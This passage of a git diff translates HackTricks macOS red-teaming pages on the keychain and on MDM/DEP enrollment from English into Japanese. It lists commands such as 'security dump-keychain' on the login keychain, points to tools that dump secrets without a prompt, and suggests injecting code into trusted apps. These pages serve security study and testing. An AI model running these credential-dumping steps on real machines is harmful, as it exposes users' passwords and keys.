+Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、**自動的に開かれます**。例えば、**zipファイルをダウンロード**すると、自動的に解凍されます:
-## References +## 参考文献 - [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E) - [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) @@ -254,12 +226,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati - [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) - [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index a6135959d..ca0d084ed 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -4,60 +4,59 @@ ## Main Keychains -- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys. -- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords. - - It's possible to find other components like certificates in `/System/Library/Keychains/*` -- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`). - - Apps will be restricted in the keychain only to their private area based on their application identifier. +- **ユーザーキーチェーン** (`~/Library/Keychains/login.keychain-db`) は、アプリケーションパスワード、インターネットパスワード、ユーザー生成の証明書、ネットワークパスワード、ユーザー生成の公開/秘密鍵などの**ユーザー固有の資格情報**を保存するために使用されます。 +- **システムキーチェーン** (`/Library/Keychains/System.keychain`) は、WiFiパスワード、システムルート証明書、システム秘密鍵、システムアプリケーションパスワードなどの**システム全体の資格情報**を保存します。 +- `/System/Library/Keychains/*` には、証明書などの他のコンポーネントを見つけることができます。 +- **iOS** には、 `/private/var/Keychains/` にある1つの**キーチェーン**のみがあります。このフォルダーには、`TrustStore`、証明書機関(`caissuercache`)、およびOSCPエントリ(`ocspache`)のデータベースも含まれています。 +- アプリは、アプリケーション識別子に基づいてキーチェーン内のプライベートエリアにのみ制限されます。 -### Password Keychain Access +### パスワードキーチェーンアクセス -These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption. +これらのファイルは固有の保護がなく、**ダウンロード**可能ですが、暗号化されており、**復号化するためにユーザーの平文パスワードが必要**です。復号化には、[**Chainbreaker**](https://github.com/n0fate/chainbreaker) のようなツールが使用できます。 -## Keychain Entries Protections +## キーチェーンエントリの保護 ### ACLs -Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including: +キーチェーン内の各エントリは、さまざまなアクションを実行できる人を規定する**アクセス制御リスト(ACLs)**によって管理されています。これには以下が含まれます: -- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret. -- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password. -- **ACLAuhtorizationAny**: Allows the holder to perform any action. +- **ACLAuhtorizationExportClear**: 秘密のクリアテキストを取得することを許可します。 +- **ACLAuhtorizationExportWrapped**: 他の提供されたパスワードで暗号化されたクリアテキストを取得することを許可します。 +- **ACLAuhtorizationAny**: すべてのアクションを実行することを許可します。 -The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be: +ACLは、これらのアクションをプロンプトなしで実行できる**信頼されたアプリケーションのリスト**を伴います。これには以下が含まれます: -- **N`il`** (no authorization required, **everyone is trusted**) -- An **empty** list (**nobody** is trusted) -- **List** of specific **applications**. +- **N`il`**(認証不要、**すべての人が信頼されている**) +- **空の**リスト(**誰も**信頼されていない) +- **特定の**アプリケーションの**リスト**。 -Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.** +また、エントリには**`ACLAuthorizationPartitionID`**というキーが含まれている場合があり、これは**teamid、apple、**および**cdhash**を識別するために使用されます。 -- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**. -- If the **apple** is specified, then the app needs to be **signed** by **Apple**. -- If the **cdhash** is indicated, then **app** must have the specific **cdhash**. +- **teamid**が指定されている場合、**プロンプトなしで**エントリの値に**アクセスする**には、使用されるアプリケーションが**同じteamid**を持っている必要があります。 +- **apple**が指定されている場合、アプリは**Apple**によって**署名されている**必要があります。 +- **cdhash**が示されている場合、**アプリ**は特定の**cdhash**を持っている必要があります。 -### Creating a Keychain Entry +### キーチェーンエントリの作成 -When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply: +**`Keychain Access.app`**を使用して**新しい**エントリが作成されると、以下のルールが適用されます: -- All apps can encrypt. -- **No apps** can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change ACLs. -- The **partitionID** is set to **`apple`**. +- すべてのアプリが暗号化できます。 +- **アプリは**エクスポート/復号化できません(ユーザーにプロンプトなしで)。 +- すべてのアプリが整合性チェックを確認できます。 +- アプリはACLを変更できません。 +- **partitionID**は**`apple`**に設定されます。 -When an **application creates an entry in the keychain**, the rules are slightly different: +アプリケーションがキーチェーンにエントリを作成する場合、ルールは少し異なります: -- All apps can encrypt. -- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user). -- All apps can see the integrity check. -- No apps can change the ACLs. -- The **partitionID** is set to **`teamid:[teamID here]`**. +- すべてのアプリが暗号化できます。 +- **作成アプリケーション**(または明示的に追加された他のアプリ)のみがエクスポート/復号化できます(ユーザーにプロンプトなしで)。 +- すべてのアプリが整合性チェックを確認できます。 +- アプリはACLを変更できません。 +- **partitionID**は**`teamid:[teamID here]`**に設定されます。 -## Accessing the Keychain +## キーチェーンへのアクセス ### `security` - ```bash # List keychains security list-keychains @@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - # Dump specifically the user keychain security dump-keychain ~/Library/Keychains/login.keychain-db ``` - ### APIs > [!TIP] -> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith) +> **キーチェーンの列挙と秘密のダンプ**は、**プロンプトを生成しない**ものについては、ツール[**LockSmith**](https://github.com/its-a-feature/LockSmith)を使用して行うことができます。 > -> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code. +> 他のAPIエンドポイントは、[**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html)のソースコードで見つけることができます。 -List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples: +**Security Framework**を使用して各キーチェーンエントリの**情報**をリストおよび取得することができます。また、AppleのオープンソースCLIツール[**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**を確認することもできます。** 一部のAPIの例: -- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it: - - **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups) - - **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up) - - **`kSecReturnAttributes`**: Get metadata about entries - - **`kSecMatchLimit`**: How many results to return - - **`kSecClass`**: What kind of keychain entry +- API **`SecItemCopyMatching`**は各エントリに関する情報を提供し、使用時に設定できる属性があります: +- **`kSecReturnData`**: trueの場合、データの復号を試みます(ポップアップを避けるためにfalseに設定) +- **`kSecReturnRef`**: キーチェーンアイテムへの参照も取得(後でポップアップなしで復号できることがわかった場合はtrueに設定) +- **`kSecReturnAttributes`**: エントリに関するメタデータを取得 +- **`kSecMatchLimit`**: 返す結果の数 +- **`kSecClass`**: どの種類のキーチェーンエントリか -Get **ACLs** of each entry: +各エントリの**ACL**を取得: -- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has: - - Description - - **Trusted Application List**. This could be: - - An app: /Applications/Slack.app - - A binary: /usr/libexec/airportd - - A group: group://AirPort +- API **`SecAccessCopyACLList`**を使用すると、**キーチェーンアイテムのACL**を取得でき、各リストには以下が含まれます: +- 説明 +- **信頼されたアプリケーションリスト**。これには以下が含まれる可能性があります: +- アプリ: /Applications/Slack.app +- バイナリ: /usr/libexec/airportd +- グループ: group://AirPort -Export the data: +データをエクスポート: -- The API **`SecKeychainItemCopyContent`** gets the plaintext -- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted +- API **`SecKeychainItemCopyContent`**はプレーンテキストを取得します +- API **`SecItemExport`**はキーと証明書をエクスポートしますが、コンテンツを暗号化してエクスポートするためにパスワードを設定する必要があるかもしれません -And these are the **requirements** to be able to **export a secret without a prompt**: +そして、**プロンプトなしで秘密をエクスポートするための要件**は以下の通りです: -- If **1+ trusted** apps listed: - - Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info) - - Need code signature to match **PartitionID** - - Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup) -- If **all applications trusted**: - - Need the appropriate **authorizations** - - Need code signature to match **PartitionID** - - If **no PartitionID**, then this isn't needed +- **1つ以上の信頼された**アプリがリストされている場合: +- 適切な**認可**が必要です(**`Nil`**、または秘密情報にアクセスするための認可リストに**含まれている**必要があります) +- コード署名が**PartitionID**と一致する必要があります +- コード署名が1つの**信頼されたアプリ**のものと一致する必要があります(または正しいKeychainAccessGroupのメンバーである必要があります) +- **すべてのアプリケーションが信頼されている**場合: +- 適切な**認可**が必要です +- コード署名が**PartitionID**と一致する必要があります +- **PartitionID**がない場合、これは必要ありません > [!CAUTION] -> Therefore, if there is **1 application listed**, you need to **inject code in that application**. +> したがって、**1つのアプリケーションがリストされている**場合、そのアプリケーションに**コードを注入する**必要があります。 > -> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this. +> **apple**が**partitionID**に示されている場合、**`osascript`**を使用してアクセスできるため、partitionIDにappleを含むすべてのアプリケーションを信頼することができます。**`Python`**もこれに使用できます。 -### Two additional attributes +### 2つの追加属性 -- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app -- **General**: It's to store **metadata** (so it's NOT ENCRYPTED) - - Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint. +- **Invisible**: UIキーチェーンアプリからエントリを**隠す**ためのブールフラグです +- **General**: **メタデータ**を保存するためのもので(したがって、暗号化されていません) +- Microsoftは、機密エンドポイントにアクセスするためのすべてのリフレッシュトークンをプレーンテキストで保存していました。 ## References diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 1a4f69c6e..86e985c5a 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,199 +2,199 @@ {{#include ../../../banners/hacktricks-training.md}} -**To learn about macOS MDMs check:** +**macOS MDMについて学ぶには、次を確認してください:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) -## Basics +## 基本 -### **MDM (Mobile Device Management) Overview** +### **MDM (モバイルデバイス管理) 概要** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[モバイルデバイス管理](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) は、スマートフォン、ラップトップ、タブレットなどのさまざまなエンドユーザーデバイスを監視するために利用されます。特にAppleのプラットフォーム(iOS、macOS、tvOS)においては、一連の専門的な機能、API、および実践が含まれます。MDMの運用は、商業的に入手可能またはオープンソースの互換性のあるMDMサーバーに依存し、[MDMプロトコル](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)をサポートする必要があります。主なポイントは以下の通りです: -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- デバイスの集中管理。 +- MDMプロトコルに準拠したMDMサーバーへの依存。 +- MDMサーバーがデバイスにさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定インストールなど。 -### **Basics of DEP (Device Enrollment Program)** +### **DEP (デバイス登録プログラム) の基本** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能になり、最小限のユーザーまたは管理者の介入で済むようにします。重要な側面は以下の通りです: -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- デバイスが初回起動時に事前定義されたMDMサーバーに自動的に登録されることを可能にします。 +- 主に新しいデバイスに有益ですが、再構成中のデバイスにも適用可能です。 +- 簡単なセットアップを促進し、デバイスを迅速に組織で使用できるようにします。 -### **Security Consideration** +### **セキュリティの考慮事項** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +DEPによって提供される登録の容易さは有益ですが、セキュリティリスクをもたらす可能性があることに注意が必要です。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自分のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。 > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **セキュリティ警告**: 簡素化されたDEP登録は、適切な保護策が講じられていない場合、組織のMDMサーバーに対する不正なデバイス登録を許可する可能性があります。 -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### SCEP (シンプル証明書登録プロトコル) とは? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. +- TLSやHTTPSが広まる前に作成された比較的古いプロトコルです。 +- クライアントが証明書を取得するために**証明書署名要求**(CSR)を送信する標準化された方法を提供します。クライアントはサーバーに署名された証明書を要求します。 -### What are Configuration Profiles (aka mobileconfigs)? +### 構成プロファイル(別名mobileconfigs)とは? -- Apple’s official way of **setting/enforcing system configuration.** -- File format that can contain multiple payloads. -- Based on property lists (the XML kind). -- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. +- Appleの公式な**システム構成の設定/強制方法**です。 +- 複数のペイロードを含むことができるファイル形式です。 +- プロパティリスト(XML形式)に基づいています。 +- 「その起源を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」 基本 — ページ70, iOSセキュリティガイド, 2018年1月。 -## Protocols +## プロトコル ### MDM -- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) -- **Communication** occurs between a **device** and a server associated with a **device** **management** **product** -- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries** -- All over **HTTPS**. MDM servers can be (and are usually) pinned. -- Apple grants the MDM vendor an **APNs certificate** for authentication +- APNs(**Appleサーバー**) + RESTful API(**MDM** **ベンダー**サーバー)の組み合わせ +- **通信**は**デバイス**と**デバイス管理製品**に関連するサーバーの間で行われます +- **コマンド**はMDMからデバイスに**plistエンコードされた辞書**で送信されます +- すべて**HTTPS**経由です。MDMサーバーは(通常)ピン留めされます。 +- AppleはMDMベンダーに**APNs証明書**を認証用に付与します ### DEP -- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): - - The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. - - The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status. - - The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API. -- More modern and **JSON** based (vs. plist) -- Apple grants an **OAuth token** to the MDM vendor +- **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用(未文書): +- いわゆる[DEP "クラウドサービス" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これはMDMサーバーが特定のデバイスにDEPプロファイルを関連付けるために使用されます。 +- [Apple認定リセラーが使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスを登録し、登録状況を確認し、取引状況を確認します。 +- 未文書のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。 +- より現代的で**JSON**ベース(vs. plist) +- AppleはMDMベンダーに**OAuthトークン**を付与します -**DEP "cloud service" API** +**DEP "クラウドサービス" API** - RESTful -- sync device records from Apple to the MDM server -- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on) -- A DEP “profile” contains: - - MDM vendor server URL - - Additional trusted certificates for server URL (optional pinning) - - Extra settings (e.g. which screens to skip in Setup Assistant) +- AppleからMDMサーバーへのデバイスレコードの同期 +- MDMサーバーからAppleへの「DEPプロファイル」の同期(後でデバイスに配信される) +- DEP「プロファイル」には以下が含まれます: +- MDMベンダーサーバーのURL +- サーバーURL用の追加の信頼された証明書(オプションのピン留め) +- 追加の設定(例:セットアップアシスタントでスキップする画面) -## Serial Number +## シリアル番号 -Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**. +2010年以降に製造されたAppleデバイスは一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁**は**製造年**と**週**を示し、次の**3桁**は**ユニークな識別子**を提供し、**最後の4桁**は**モデル番号**を表します。 {{#ref}} macos-serial-number.md {{#endref}} -## Steps for enrolment and management +## 登録と管理の手順 -1. Device record creation (Reseller, Apple): The record for the new device is created -2. Device record assignment (Customer): The device is assigned to a MDM server -3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple -4. DEP check-in (Device): Device gets his DEP profile -5. Profile retrieval (Device) -6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads -7. MDM command issuance (Device) +1. デバイスレコードの作成(リセラー、Apple):新しいデバイスのレコードが作成されます +2. デバイスレコードの割り当て(顧客):デバイスがMDMサーバーに割り当てられます +3. デバイスレコードの同期(MDMベンダー):MDMがデバイスレコードを同期し、DEPプロファイルをAppleにプッシュします +4. DEPチェックイン(デバイス):デバイスがDEPプロファイルを取得します +5. プロファイルの取得(デバイス) +6. プロファイルのインストール(デバイス) a. MDM、SCEP、およびルートCAペイロードを含む +7. MDMコマンドの発行(デバイス) ![](<../../../images/image (694).png>) -The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. +ファイル`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`は、登録プロセスの**高レベルの「ステップ」**と見なされる関数をエクスポートします。 -### Step 4: DEP check-in - Getting the Activation Record +### ステップ4: DEPチェックイン - アクティベーションレコードの取得 -This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) +このプロセスの一部は、**ユーザーが初めてMacを起動したとき**(または完全にワイプした後)に発生します。 ![](<../../../images/image (1044).png>) -or when executing `sudo profiles show -type enrollment` +または`sudo profiles show -type enrollment`を実行したとき。 -- Determine **whether device is DEP enabled** -- Activation Record is the internal name for **DEP “profile”** -- Begins as soon as the device is connected to Internet -- Driven by **`CPFetchActivationRecord`** -- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record. - - LaunchDaemon (always runs as root) +- **デバイスがDEP対応かどうかを判断** +- アクティベーションレコードは**DEP「プロファイル」**の内部名です +- デバイスがインターネットに接続されるとすぐに始まります +- **`CPFetchActivationRecord`**によって駆動されます +- **`cloudconfigurationd`**によってXPCを介して実装されます。デバイスが初めて起動されたときの**「セットアップアシスタント」**または**`profiles`**コマンドがこのデーモンに連絡してアクティベーションレコードを取得します。 +- LaunchDaemon(常にrootとして実行) -It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** +アクティベーションレコードを取得するために**`MCTeslaConfigurationFetcher`**によって実行されるいくつかのステップに従います。このプロセスは**Absinthe**という暗号化を使用します。 -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used +1. **証明書を取得** +1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +2. **証明書から状態を初期化**(**`NACInit`**) +1. 様々なデバイス固有のデータを使用します(例:**シリアル番号を`IOKit`経由で**) +3. **セッションキーを取得** +1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +4. セッションを確立(**`NACKeyEstablishment`**) +5. リクエストを行う +1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にデータ`{ "action": "RequestProfileConfiguration", "sn": "" }`を送信 +2. JSONペイロードはAbsintheを使用して暗号化されます(**`NACSign`**) +3. すべてのリクエストはHTTPs経由で行われ、組み込みのルート証明書が使用されます ![](<../../../images/image (566) (1).png>) -The response is a JSON dictionary with some important data like: +レスポンスは、以下のような重要なデータを含むJSON辞書です: -- **url**: URL of the MDM vendor host for the activation profile -- **anchor-certs**: Array of DER certificates used as trusted anchors +- **url**: アクティベーションプロファイルのためのMDMベンダーホストのURL +- **anchor-certs**: 信頼されたアンカーとして使用されるDER証明書の配列 -### **Step 5: Profile Retrieval** +### **ステップ5: プロファイルの取得** ![](<../../../images/image (444).png>) -- Request sent to **url provided in DEP profile**. -- **Anchor certificates** are used to **evaluate trust** if provided. - - Reminder: the **anchor_certs** property of the DEP profile -- **Request is a simple .plist** with device identification - - Examples: **UDID, OS version**. -- CMS-signed, DER-encoded -- Signed using the **device identity certificate (from APNS)** -- **Certificate chain** includes expired **Apple iPhone Device CA** +- **DEPプロファイルで提供されたurl**にリクエストが送信されます。 +- 提供された場合、**アンカー証明書**が**信頼性を評価**するために使用されます。 +- リマインダー: **DEPプロファイルのanchor_certsプロパティ** +- **リクエストはデバイス識別を含むシンプルな.plist**です +- 例: **UDID、OSバージョン**。 +- CMS署名、DERエンコード +- **デバイスID証明書(APNSからの)**を使用して署名されます。 +- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれます。 -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) -### Step 6: Profile Installation +### ステップ6: プロファイルのインストール -- Once retrieved, **profile is stored on the system** -- This step begins automatically (if in **setup assistant**) -- Driven by **`CPInstallActivationProfile`** -- Implemented by mdmclient over XPC - - LaunchDaemon (as root) or LaunchAgent (as user), depending on context -- Configuration profiles have multiple payloads to install -- Framework has a plugin-based architecture for installing profiles -- Each payload type is associated with a plugin - - Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -- Example: - - Certificate Payloads use CertificateService.xpc +- 取得後、**プロファイルはシステムに保存されます** +- このステップは自動的に開始されます(**セットアップアシスタント**にいる場合) +- **`CPInstallActivationProfile`**によって駆動されます +- XPCを介してmdmclientによって実装されます +- LaunchDaemon(rootとして)またはLaunchAgent(ユーザーとして)、コンテキストに応じて +- 構成プロファイルにはインストールする複数のペイロードがあります +- フレームワークはプロファイルをインストールするためのプラグインベースのアーキテクチャを持っています +- 各ペイロードタイプはプラグインに関連付けられています +- XPC(フレームワーク内)または従来のCocoa(ManagedClient.app内)である可能性があります +- 例: +- 証明書ペイロードはCertificateService.xpcを使用します -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: +通常、MDMベンダーが提供する**アクティベーションプロファイル**には**以下のペイロード**が含まれます: -- `com.apple.mdm`: to **enroll** the device in MDM -- `com.apple.security.scep`: to securely provide a **client certificate** to the device. -- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -- Installing the MDM payload equivalent to **MDM check-in in the documentation** -- Payload **contains key properties**: -- - MDM Check-In URL (**`CheckInURL`**) - - MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -- To install MDM payload, request is sent to **`CheckInURL`** -- Implemented in **`mdmclient`** -- MDM payload can depend on other payloads -- Allows **requests to be pinned to specific certificates**: - - Property: **`CheckInURLPinningCertificateUUIDs`** - - Property: **`ServerURLPinningCertificateUUIDs`** - - Delivered via PEM payload -- Allows device to be attributed with an identity certificate: - - Property: IdentityCertificateUUID - - Delivered via SCEP payload +- `com.apple.mdm`: デバイスをMDMに**登録**するため +- `com.apple.security.scep`: デバイスに**クライアント証明書**を安全に提供するため。 +- `com.apple.security.pem`: デバイスのシステムキーチェーンに**信頼されたCA証明書**をインストールするため。 +- MDMペイロードのインストールは、文書内の**MDMチェックイン**に相当します。 +- ペイロードには**主要なプロパティ**が含まれます: +- - MDMチェックインURL(**`CheckInURL`**) +- MDMコマンドポーリングURL(**`ServerURL`**) + それをトリガーするAPNsトピック +- MDMペイロードをインストールするために、リクエストが**`CheckInURL`**に送信されます +- **`mdmclient`**で実装されています +- MDMペイロードは他のペイロードに依存することがあります +- 特定の証明書にリクエストをピン留めすることを許可します: +- プロパティ:**`CheckInURLPinningCertificateUUIDs`** +- プロパティ:**`ServerURLPinningCertificateUUIDs`** +- PEMペイロードを介して配信されます +- デバイスにアイデンティティ証明書を付与することを許可します: +- プロパティ:IdentityCertificateUUID +- SCEPペイロードを介して配信されます -### **Step 7: Listening for MDM commands** +### **ステップ7: MDMコマンドのリスニング** -- After MDM check-in is complete, vendor can **issue push notifications using APNs** -- Upon receipt, handled by **`mdmclient`** -- To poll for MDM commands, request is sent to ServerURL -- Makes use of previously installed MDM payload: - - **`ServerURLPinningCertificateUUIDs`** for pinning request - - **`IdentityCertificateUUID`** for TLS client certificate +- MDMチェックインが完了した後、ベンダーは**APNsを使用してプッシュ通知を発行**できます +- 受信時、**`mdmclient`**によって処理されます +- MDMコマンドをポーリングするために、リクエストがServerURLに送信されます +- 以前にインストールされたMDMペイロードを利用します: +- **`ServerURLPinningCertificateUUIDs`**によるリクエストのピン留め +- **`IdentityCertificateUUID`**によるTLSクライアント証明書 -## Attacks +## 攻撃 -### Enrolling Devices in Other Organisations +### 他の組織へのデバイスの登録 -As previously 